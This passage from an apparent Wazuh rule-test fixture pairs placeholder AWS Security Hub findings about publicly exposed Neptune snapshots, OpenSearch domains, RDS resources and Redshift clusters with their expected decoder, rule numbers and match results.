"aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/Neptune.3/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsAccount', 'Region': 'abcde', 'Id': 'AWS::::Account:123456789000'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "Neptune DB cluster snapshots should not be public", "aws.finding.Types": "['Effects/Data Exposure']", "aws.finding.UpdatedAt": "2024-05-02T22:12:08.383Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99850", "level": "12", "expected_decoder": "json", "expected_rule": "99850", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Neptune DB cluster snapshot is public."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/05/12/wazuh-security-hub-findings-1-2024-05-05-12-11-41-752f0518-ee38-4652-911f-f6f824a9689d\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Description\":\"This control checks whether OpenSearch domains are in a VPC.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"Opensearch.2\",\"RelatedRequirements\":[\"CIS AWS Foundations Benchmark v1.2.0/1.16\"],\"AssociatedStandards\":[{\"StandardsId\":\"ruleset/cis-aws-foundations-benchmark/v/1.2.0\"},{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:25:56.949Z\",\"CreatedAt\":\"2024-01-05T09:25:56.949Z\",\"LastObservedAt\":\"2024-05-05T12:14:36.075Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"opensearch-in-vpc-only-ea7fc269\",\"RelatedAWSResources:0/type\":\"AWS::OpenSearch::Domain\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:user/abcd\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/Opensearch.2/finding/abcd-efg-ijkln\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/Opensearch.2/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/Opensearch.2\",\"RecordState\":\"ACTIVE\",\"Title\":\"OpenSearch domains should not be publicly accessible\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-05T12:14:24.927Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/Opensearch.2/finding/abcd-efg-ijkln\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsIamUser\",\"Region\":\"abcde\",\"Id\":\"arn:aws:iam::123456789000:user/abcd\"}],\"ProcessedAt\":\"2024-05-05T12:14:40.931Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'ruleset/cis-aws-foundations-benchmark/v/1.2.0'}, {'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.RelatedRequirements": "['CIS AWS Foundations Benchmark v1.2.0/1.16']", "aws.finding.Compliance.SecurityControlId": "Opensearch.2", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:25:56.949Z", "aws.finding.Description": "This control checks whether OpenSearch domains are in a VPC.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.FirstObservedAt": "2024-01-05T09:25:56.949Z", "aws.finding.GeneratorId": "security-control/Opensearch.2", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/Opensearch.2/finding/abcd-efg-ijkln", "aws.finding.LastObservedAt": "2024-05-05T12:14:36.075Z", "aws.finding.ProcessedAt": "2024-05-05T12:14:40.931Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/Opensearch.2/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsIamUser', 'Region': 'abcde', 'Id': 'arn:aws:iam::123456789000:user/abcd'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "OpenSearch domains should not be publicly accessible", "aws.finding.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.UpdatedAt": "2024-05-05T12:14:24.927Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/05/12/wazuh-security-hub-findings-1-2024-05-05-12-11-41-752f0518-ee38-4652-911f-f6f824a9689d", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.RelatedRequirements", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99851", "level": "12", "expected_decoder": "json", "expected_rule": "99851", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - OpenSearch domain is publicly accessible."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/05/06/wazuh-security-hub-findings-1-2024-05-05-06-58-00-12345678-ABCDEFGH-IJKLMN\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Description\":\"This control checks whether Amazon RDS snapshots are public. The control fails if RDS snapshots are public.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"RDS.1\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:25:54.731Z\",\"CreatedAt\":\"2024-01-05T09:25:54.731Z\",\"LastObservedAt\":\"2024-05-05T06:58:33.628Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"rds-snapshots-public-prohibited-c42fad05\",\"RelatedAWSResources:0/type\":\"AWS::RDS::DBSnapshot\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:role/service-role/Amazon_EventBridge_Invoke_Firehose_12345678\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/RDS.1/finding/12345678-ABCDEFGH-IJKLMN\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/RDS.1/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/RDS.1\",\"RecordState\":\"ACTIVE\",\"Title\":\"RDS snapshot should be private\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-05T06:58:16.818Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/RDS.1/finding/12345678-ABCDEFGH-IJKLMN\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsIamRole\",\"Details\":{\"AwsIamRole\":{\"Path\":\"/service-role/\",\"AttachedManagedPolicies\":[{\"PolicyArn\":\"arn:aws:iam::123456789000:policy/service-role/Amazon_EventBridge_Invoke_Firehose_12345678\",\"PolicyName\":\"Amazon_EventBridge_Invoke_Firehose_12345678\"}],\"RoleName\":\"Amazon_EventBridge_Invoke_Firehose_12345678\",\"AssumeRolePolicyDocument\":\"%7B%22Version%22%3A%222012-10-17%22%2C%22Statement%22%3A%5B%7B%22Effect%22%3A%22Allow%22%2C%22Principal%22%3A%7B%22Service%22%3A%22events.amazonaws.com%22%7D%2C%22Action%22%3A%22sts%3AAssumeRole%22%7D%5D%7D\",\"CreateDate\":\"2021-12-02T17:41:55.000Z\",\"RoleId\":\"ABCEDFHIJKLMONPQ\"}},\"Region\":\"abcde\",\"Id\":\"arn:aws:iam::123456789000:role/service-role/Amazon_EventBridge_Invoke_Firehose_12345678\"}],\"ProcessedAt\":\"2024-05-05T06:58:37.814Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "RDS.1", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:25:54.731Z", "aws.finding.Description": "This control checks whether Amazon RDS snapshots are public. The control fails if RDS snapshots are public.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.FirstObservedAt": "2024-01-05T09:25:54.731Z", "aws.finding.GeneratorId": "security-control/RDS.1", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/RDS.1/finding/12345678-ABCDEFGH-IJKLMN", "aws.finding.LastObservedAt": "2024-05-05T06:58:33.628Z", "aws.finding.ProcessedAt": "2024-05-05T06:58:37.814Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/RDS.1/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsIamRole', 'Details': {'AwsIamRole': {'Path': '/service-role/', 'AttachedManagedPolicies': [{'PolicyArn': 'arn:aws:iam::123456789000:policy/service-role/Amazon_EventBridge_Invoke_Firehose_12345678', 'PolicyName': 'Amazon_EventBridge_Invoke_Firehose_12345678'}], 'RoleName': 'Amazon_EventBridge_Invoke_Firehose_12345678', 'AssumeRolePolicyDocument': '%7B%22Version%22%3A%222012-10-17%22%2C%22Statement%22%3A%5B%7B%22Effect%22%3A%22Allow%22%2C%22Principal%22%3A%7B%22Service%22%3A%22events.amazonaws.com%22%7D%2C%22Action%22%3A%22sts%3AAssumeRole%22%7D%5D%7D', 'CreateDate': '2021-12-02T17:41:55.000Z', 'RoleId': 'ABCEDFHIJKLMONPQ'}}, 'Region': 'abcde', 'Id': 'arn:aws:iam::123456789000:role/service-role/Amazon_EventBridge_Invoke_Firehose_12345678'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "RDS snapshot should be private", "aws.finding.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.UpdatedAt": "2024-05-05T06:58:16.818Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/05/06/wazuh-security-hub-findings-1-2024-05-05-06-58-00-12345678-ABCDEFGH-IJKLMN", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99852", "level": "12", "expected_decoder": "json", "expected_rule": "99852", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - RDS snapshot is public."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/05/06/wazuh-security-hub-findings-1-2024-05-05-06-58-00-12345678-ABCDEFGH-IJKLMN\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Description\":\"This control checks whether Amazon RDS instances are publicly accessible by evaluating the PubliclyAccessible field in the instance configuration item.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"RDS.2\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:25:54.731Z\",\"CreatedAt\":\"2024-01-05T09:25:54.731Z\",\"LastObservedAt\":\"2024-05-05T06:58:33.628Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"rds-instance-public-access-check-c42fad05\",\"RelatedAWSResources:0/type\":\"AWS::RDS::DBInstance\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:role/service-role/Amazon_EventBridge_Invoke_Firehose_12345678\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/RDS.2/finding/12345678-ABCDEFGH-IJKLMN\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/RDS.2/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/RDS.2\",\"RecordState\":\"ACTIVE\",\"Title\":\"RDS DB Instances should prohibit public access, as determined by the PubliclyAccessible AWS Configuration\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-05T06:58:16.818Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/RDS.2/finding/12345678-ABCDEFGH-IJKLMN\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsIamRole\",\"Details\":{\"AwsIamRole\":{\"Path\":\"/service-role/\",\"AttachedManagedPolicies\":[{\"PolicyArn\":\"arn:aws:iam::123456789000:policy/service-role/Amazon_EventBridge_Invoke_Firehose_12345678\",\"PolicyName\":\"Amazon_EventBridge_Invoke_Firehose_12345678\"}],\"RoleName\":\"Amazon_EventBridge_Invoke_Firehose_12345678\",\"AssumeRolePolicyDocument\":\"%7B%22\",\"CreateDate\":\"2021-12-02T17:41:55.000Z\",\"RoleId\":\"ABCEDFHIJKLMONPQ\"}},\"Region\":\"abcde\",\"Id\":\"arn:aws:iam::123456789000:role/service-role/Amazon_EventBridge_Invoke_Firehose_12345678\"}],\"ProcessedAt\":\"2024-05-05T06:58:37.814Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "RDS.2", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:25:54.731Z", "aws.finding.Description": "This control checks whether Amazon RDS instances are publicly accessible by evaluating the PubliclyAccessible field in the instance configuration item.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.FirstObservedAt": "2024-01-05T09:25:54.731Z", "aws.finding.GeneratorId": "security-control/RDS.2", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/RDS.2/finding/12345678-ABCDEFGH-IJKLMN", "aws.finding.LastObservedAt": "2024-05-05T06:58:33.628Z", "aws.finding.ProcessedAt": "2024-05-05T06:58:37.814Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/RDS.2/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsIamRole', 'Details': {'AwsIamRole': {'Path': '/service-role/', 'AttachedManagedPolicies': [{'PolicyArn': 'arn:aws:iam::123456789000:policy/service-role/Amazon_EventBridge_Invoke_Firehose_12345678', 'PolicyName': 'Amazon_EventBridge_Invoke_Firehose_12345678'}], 'RoleName': 'Amazon_EventBridge_Invoke_Firehose_12345678', 'AssumeRolePolicyDocument': '%7B%22', 'CreateDate': '2021-12-02T17:41:55.000Z', 'RoleId': 'ABCEDFHIJKLMONPQ'}}, 'Region': 'abcde', 'Id': 'arn:aws:iam::123456789000:role/service-role/Amazon_EventBridge_Invoke_Firehose_12345678'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "RDS DB Instances should prohibit public access, as determined by the PubliclyAccessible AWS Configuration", "aws.finding.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.UpdatedAt": "2024-05-05T06:58:16.818Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/05/06/wazuh-security-hub-findings-1-2024-05-05-06-58-00-12345678-ABCDEFGH-IJKLMN", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99853", "level": "12", "expected_decoder": "json", "expected_rule": "99853", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Amazon RDS instance is publicly accessible."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/05/06/wazuh-security-hub-findings-1-2024-05-05-06-58-00-12345678-ABCDEFGH-IJKLMN\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Description\":\"This control checks whether Amazon Redshift clusters are publicly accessible. It evaluates the PubliclyAccessible field in the cluster configuration item.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"Redshift.1\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:25:54.731Z\",\"CreatedAt\":\"2024-01-05T09:25:54.731Z\",\"LastObservedAt\":\"2024-05-05T06:58:33.628Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"redshift-cluster-public-access-check-c42fad05\",\"RelatedAWSResources:0/type\":\"AWS::Redshift::Cluster\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:role/service-role/Amazon_EventBridge_Invoke_Firehose_12345678\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/Redshift.1/finding/12345678-ABCDEFGH-IJKLMN\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/Redshift.1/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/Redshift.1\",\"RecordState\":\"ACTIVE\",\"Title\":\"Amazon Redshift clusters should prohibit public access\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-05T06:58:16.818Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/Redshift.1/finding/12345678-ABCDEFGH-IJKLMN\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsIamRole\",\"Details\":{\"AwsIamRole\":{\"Path\":\"/service-role/\",\"AttachedManagedPolicies\":[{\"PolicyArn\":\"arn:aws:iam::123456789000:policy/service-role/Amazon_EventBridge_Invoke_Firehose_12345678\",\"PolicyName\":\"Amazon_EventBridge_Invoke_Firehose_12345678\"}],\"RoleName\":\"Amazon_EventBridge_Invoke_Firehose_12345678\",\"AssumeRolePolicyDocument\":\"%7B%22Versio\",\"CreateDate\":\"2021-12-02T17:41:55.000Z\",\"RoleId\":\"ABCEDFHIJKLMONPQ\"}},\"Region\":\"abcde\",\"Id\":\"arn:aws:iam::123456789000:role/service-role/Amazon_EventBridge_Invoke_Firehose_12345678\"}],\"ProcessedAt\":\"2024-05-05T06:58:37.814Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "Redshift.1", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:25:54.731Z", "aws.finding.Description": "This control checks whether Amazon Redshift clusters are publicly accessible. It evaluates the PubliclyAccessible field in the cluster configuration item.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.FirstObservedAt": "2024-01-05T09:25:54.731Z", "aws.finding.GeneratorId": "security-control/Redshift.1", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/Redshift.1/finding/12345678-ABCDEFGH-IJKLMN", "aws.finding.LastObservedAt": "2024-05-05T06:58:33.628Z", "aws.finding.ProcessedAt": "2024-05-05T06:58:37.814Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", 